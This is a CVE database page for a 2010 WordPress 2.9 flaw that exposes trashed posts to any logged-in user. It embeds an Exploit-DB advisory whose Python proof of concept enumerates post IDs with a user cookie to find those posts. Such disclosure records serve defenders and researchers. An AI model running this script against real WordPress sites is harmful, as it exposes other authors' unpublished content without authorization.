CVE-2010-0682 : Detail

CVE-2010-0682

A01-Broken Access Control
0.71%V3
Network
2010-02-23
19h00 +00:00
2011-01-12
09h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

WordPress 2.9 before 2.9.2 allows remote authenticated users to read trash posts from other authors via a direct request with a modified p parameter.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4 AV:N/AC:L/Au:S/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 11441

Publication date : 2010-02-12 23h00 +00:00
Author : tmacuk
EDB Verified : Yes

WordPress >= 2.9 Failure to Restrict URL Access http://www.thomasmackenzie.co.uk/ 1. *Advisory Information* Title: WordPress >= 2.9 Failure to Restrict URL Access Date published: 2. *Vulnerability Information* Class: Failure to Restrict URL Access Remotely Exploitable: Yes Locally Exploitable: Yes 3. *Software Description* WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free and priceless at the same time. [0] 4. *Vulnerability Description* Frequently, the only protection for a URL is that links to that page are not presented to unauthorized users. Security by obscurity is not sufficient to protect sensitive functions and data in an application. Access control checks must be performed before a request to a sensitive function is granted, which ensures that the user is authorized to access that function. [1] 5. *Vulnerable packages* Versions >= 2.9 6. *Non-vulnerable packages* Versions < 2.9 7. *Vulnerability Overview* Since version 2.9 a new feature was implemented so that users were able to retrieve posts that they may have deleted by accident. This new feature was labeled 'trash'. Any posts that are placed within the trash are only viewable by authenticated privileged users. 8. *Technical Description* When WordPress implemented the new feature they failed to change the permissions granted when the post is in the trash. This means that an unauthenticated user cannot see the post, however an authenticated user can no matter what privilege's they have, even 'subcriber'. "Subscriber [User Level 0] - Somebody who can read comments/comment/receive news letters, etc." [2] 9. *PoC* #/usr/bin/python # # WordPress > 2.9 Failure to Restrict URL Access PoC # # This script iterates through the WP post ID's as an authenticated and unauthenticated user. # If the requests differ a 'Trash' post has been found. # # You will need an authenticated user cookie of any privilege to run this script. # # Example cookie: # wordpress_logged_in_62b3ab14f277d92d3d313662ea0c84e3=test%7C1266245173%7C990157a59700a69edbf133aa22fca1f8 # # Will only work with WP URLs with the '/?p={int}' parameter. Would need to handle redirects (3xx) to handle all URL types. # # # Research/PoC/Advisory By: Tom Mackenzie (tmacuk) and Ryan Dewhurst (ethicalhack3r) import httplib # Declare vars blogURL = "www.example.com" userCookie = "ENTER_COOKIE_HERE" postID = 0 #Leave at 0 conn = httplib.HTTPConnection(blogURL) Headers = {"Cookie" : userCookie} print print "Target = http://" + blogURL + "/?p=" + str(postID) print while 1: # Start non authenticated enumeration request = '/?p=' + str(postID) conn.request("GET", request, "") try: r1 = conn.getresponse() except: print "Connection error" data1 = r1.read() # Start authenticated enumeration conn.request("GET", request, None, Headers) try: r2 = conn.getresponse() except: print "Connection error" data2 = r2.read() # Compare the HTML body reponses if data1 != data2: print "+ Found! http://" + blogURL + request else: print request postID += 1 conn.close() 10. *Credits* Thomas Mackenzie (tmacuk) - http://www.thomasmackenzie.co.uk/ Original finder and tester. Ryan Dewhurst (ethicalhack3r) - http://www.ryandewhurst.co.uk/ PoC creation and analysis. Arron Finnon (f1nux) - http://www.finux.co.co.uk/ Helped with documentation. Matthew Hughes - http://www.matthewhughes.co.uk/ Helped with documentation. Robin Wood (digininja) - http://www.diginija.org/ Helped identify the vulnerability type. 11. *References* [0] http://wordpress.org/ [1] http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access [2] http://codex.wordpress.org/Roles_and_Capabilities

Products Mentioned

Configuraton 0

Wordpress>>Wordpress >> Version 2.9

Wordpress>>Wordpress >> Version 2.9.1

Wordpress>>Wordpress >> Version 2.9.1

Wordpress>>Wordpress >> Version 2.9.1

References

http://tmacuk.co.uk/?p=180
Tags : x_refsource_MISC
http://secunia.com/advisories/42871
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/38592
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/62330
Tags : vdb-entry, x_refsource_OSVDB